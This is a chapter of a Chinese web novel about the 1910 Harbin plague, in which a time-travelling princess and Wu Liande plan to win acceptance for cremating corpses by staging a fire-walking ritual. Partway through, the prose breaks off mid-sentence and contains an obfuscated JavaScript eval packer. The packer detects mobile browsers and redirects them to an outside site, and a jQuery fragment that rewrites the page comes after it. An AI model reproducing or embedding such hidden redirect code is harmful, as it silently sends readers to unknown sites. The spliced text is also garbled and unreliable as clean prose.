13.第 13 章
作品:《都说了我没想登基!》 城郊的停尸场,只见棺材像积木一样撂在一起,旁边放着写有死者名姓的牌子。
还有家属在棺材旁失声痛哭,她们都按照防疫要求严严实实地戴着有药棉的口罩。
金显珏和伍连德的眉头都皱了起来,金显珏不知道鼠疫杆菌能不能在衣服上存活,她只知道口罩湿了,防护效果就会下降很多,所以新冠期间的口罩使用量才会那么大。
伍连德要关心的则是细菌存活温度,中世纪闹黑死病的欧洲地区都不够冷,伦敦比哈尔滨的纬度更高,但是伦敦有北大西洋暖流护体,冬天再冷不过零下十几度,与长三角地区相似,不会冷到零下三四十度。
而真正温度能低如哈尔滨的俄罗斯,传说中就是把鼠疫病人尸体往人家城里扔的罪魁祸首,可是成吉思汗的大军却没有因为鼠疫而团灭。
于是,当时的学界认为鼠疫就是通过老鼠和跳蚤传染,天气冷,老鼠不出来活动,跳蚤不喜欢马身上的味道,于是它们不靠近马匹,也无从接近骑马的人类。
还有另一个想法认为鼠疫不怕热怕冷,天气一冷,它就死透了。
但是哈尔滨的情况,与这两种猜想截然相反。
伍连德已经首先排除了这次鼠疫是由老鼠和跳蚤传染。
现在,他决定采集一些尸体身上的样本,看看已经死了一个多月的人身上还有没有鼠疫杆菌。
伍连德担心金显珏看见尸体会害怕,便想提醒她离远一点,一转头,金显珏已经跑到停尸场旁边的树林子里去了,东张西望,非常符合“人一紧张,就会东张西望,好像很忙”的状态。
伍连德非常理解,别说是女人,就算是医学院的男学生,头回见到处理的干干净净的大体老师,不少人也会十分慌张,男警察第一次看到血呼淋啦的尸体,也会心惊肉跳。
他招呼助手林家瑞来一起找死亡时间最靠前的棺材,打算取样。
金显珏当野外生存主播,尸体见得太多了,秦岭“鳌太线”的岩缝里见过滑下去的人、云南雨崩村的神湖冰面上见过摔下去的人……后来的新闻证实那些已经是尸体了。
她早已从一开始的紧张,变成后面在野外看到一个不动的人体,就淡定打110,实在没信号的地方,就平静地记录GPS定位,顺手拍几张尸体周围的环境照片,以证明这人不是自己杀的,等出来有信号以后再报警。
现在,金显珏跑到停尸场旁边,不是怕尸体,而是在观察停尸场周边的情况。
民间对烧尸体非常抗拒,就算是火葬已经推行了许多年的2025年,在不少三线城市里依旧在执行土葬,并没有人来管。
某地有一个村干部,他的工作重点之一就是劝村民火葬,对于不听劝的,他自有一套手段,结果在他自己临死的时候,反复跟子孙后代说自己要土葬。
为了保证他的遗愿能实施,他的葬礼上来了一百多个本家和旁支的男丁,名为参加葬礼,实则是当保镖,免得气不打一处来的本村村民来把他的遗体抢出来,一把火烧了。
金显珏知道就算是摄政王下的圣旨,也挡不住民间的抗拒。
她自己拿着随身的刀子在地上用力扎了几下,落刀之处只多了几个白印,土地已经完全被冻住了。
其实真要是能深埋,也能防疫,连核辐射都能防得住,鼠疫也可以。
但是,以哈尔滨现在的天气,别说深埋了,凑合浅埋都做不到,只能堆在露天,等天气转暖再把人埋了。
在这个过程里,整个停尸场就会变成一个巨大的细菌培养皿,到春天转暖的时候,来烧尸体的人、来上坟的亲属,全都会成为新的行走传染源。
果然只能烧掉。
金显珏叹了一口气,想要让人同意,就只能把这事神圣化了。
可是中国的主流信仰并不是拜火教……哎,明教啊明教,你怎么混了半天,就没混好呢!业务能力太差了。
明尊、圣火什么的折腾了半天,也就推出了一个小明王,真没意思,都明王了,都不敢往大了吹,就说自己是不动明王、大威德降三世明王、佛母大金曜孔雀明王又怎么样嘛。
金显珏忽然脑中灵光一闪,明王……佛教……
佛教有火葬,能被烧出舍利子的都是大德高僧,可以说为了防疫而被火葬的人是得到了大功德,死后能庇护儿孙后代。
不过光吹这个人愿意被烧了就代表着成仙成神,也不太行,毕竟始终都没人说明白舍利子的成因。
普通人也有常年吃素、控制燃烧温度,常年积德行善,但从来没有普通人烧出舍利子的记录。
胆结石、肾结石患者死后都烧不出来。
要是不能百分之百的出舍利子,这事就不好办了,她又不是著名神婆、出马仙、大师什么的,她说被烧的人成仙就成仙了?
如果这是在汉代,金显珏可以找来西域胡僧,他们的主营业务就是幻术,在正经的史书里记了不少他们神叨叨的故事,包括玄之又玄的“神仙索”、“天上掉鱼”之类的操作。
不幸的是那些神妙幻术居然失传了,也不知道到底具体操作方式到底是什么。
如果这是在现代,金显珏可以找来激光发射、无人机,组成法天象地,如来现身。
不幸的是,现在连手电筒都没有,她连对着天空打出蝙蝠的图案都做不到。
总不能给所有死者家属吃致幻药,让他们同时产生幻觉吧。
且不说致幻药对大脑和肾脏会造成不可逆的损伤,这幻觉也不能控制啊,谁知道他们会看到什么东西,要是看见恶鬼在家里飘来飘去,那不就是牛皮吹破了。
除了被烧的人本身可以被赋予神圣,还有什么可以被赋予神圣……
金显珏的脑子高速转动,想得太多,脑袋涨涨的,懵懵地往前走,脚下忽然被扎了一下,她穿的是软底鹿皮靴,底子并不厚,一脚踩在尖尖的石头上,还有点痛。
她恼怒地看了石头一眼,一脚把它踢飞,忽然,她想到了另一种神圣化的方法。
印度的苦行僧有睡钉床的,有走火炭的,他们说这是因为神灵庇佑,所以过火而不伤。
现在从印度进口苦行僧是来不及了,不过中国也有类似的项目。
云南傈僳族有“上刀山,下火海”,浙江金华的磐安有“磐安炼火”,也是人光着脚往烧红的炭火上冲,又跑又跳。
别说古代,就算是到了八十年代、九十年代,他们本地人也依旧相信过火而不伤,是因为得到了神明庇护。
人得了久治不愈的病,就要请人炼火,让人背着病人奔到火堆里又蹦又跳,认为这样做可以把病魔烧掉。
连本地人都这么相信,从来没见过这种操作的哈尔滨人应该更会相信那是神迹了。
傈僳族所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432975|184848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在的怒江大峡谷,在金显珏的年代要去,也得从先坐飞机到昆明,再坐一整天的车才能到,现在单程起码要二十多天,往返至少将近两个月,无论如何也来不及了。
请浙江磐安的人过来还现实一点。
现在浙江到上海有火车,上海往北京的铁路还没通车,中间可以用汽车、马车接驳,日夜兼程,换车不换人,一个多星期也能到哈尔滨了。
让金华知县火速派人过来,既不违法,也不违背公序良俗。
这套流程肯定比“四处说服——说服无果,转而说服摄政王——摄政王顶住各方朝臣的压力——明发上谕”要快很多。
有圣旨撑腰也很重要,圣旨上别写“你们必须烧,违者杀全家”,得给安慰、给哀荣,就算不能像给“贞洁牌坊”获得家庭那么大的好处,也多少得给一点精神奖励。
像半岛上的那个谁谁谁,单膝跪地,挨个给阵亡战士的遗像戴勋章,多少人为之动容,愿效之以死。
按理来说,摄政王载沣没道理不肯写,不就是个安慰么。
如果他不肯写……
金显珏脑中跳出一句经典名言:“不就是要圣旨么,来人,给他写一张。”
反正天高皇帝远,再说,就算被抓住,也得是秋后问斩,明年秋后,大清帝国就倒闭了~
这边金显珏想好了一套大逆不道的操作流程,另一边,伍连德从尸体上提取样本完毕。
在回去的马车上,金显珏对伍连德说:“虽然还没有证据,但是我相信,到现在疫情还没完事,肯定是尸体上的细菌闹的,那些尸体只能烧掉……我想你应该知道对于中国人来说,火化尸体是不可接受的吧?”
伍连德祖籍是广东台山人,英属马来亚的华人们的生活方式也延续着中国传统,他怎么会不知道。
他苦笑地扯扯嘴角:“我只能尽力去劝劝他们了,也许他们会听的。”
他想赌一下,也许活着的人会觉得自己的性命,比死人在地府安不安宁更重要。
金显珏摇摇头:“别费劲了,你劝不动的,我已经有办法了,我们一起去找锡良,直接向他说明情况。”
锡良一听,都傻了,要烧这么多尸体?!
他眉头紧皱地像要夹死苍蝇:“不行不行不行,这是要激起民变啊!!!”
“别硬烧啊!”金显珏把自己的想法告诉他。
“啊???”锡良看着眼前这个礼亲王家的和硕格格,头大如斗,不知道这个格格怎么会想出这么邪门的想法。
他问金显珏,又像是自言自语:“这能行吗?”
金显珏斩钉截铁回应:“肯定行,这里的人那么多信佛,信出马仙,再多信一些别的东西,也不是很困难的事,只要让他们亲眼看见人踩着火跑来跑去还不伤分毫,有什么不能信的。”
金显珏与锡良之间就隔着一张大案,见他半天不吭声,金显珏将双手按在案上,身子前倾,双眼直视着锡良的眼睛,厉声喝道:“防不住鼠疫,保不住北满!俄国人一旦进来……锡良大人,你也不想名声变得像李鸿章李中堂那样吧?”
锡良对大清绝对忠心耿耿,对那堆狗屁条约恨之入骨,哪受得了自己成为国土沦陷的主要责任人。
心中本来就举棋不定,满是犹疑,被金显珏这么一吓,他终于松了口:“细想下来,格格的话,也颇有道理……”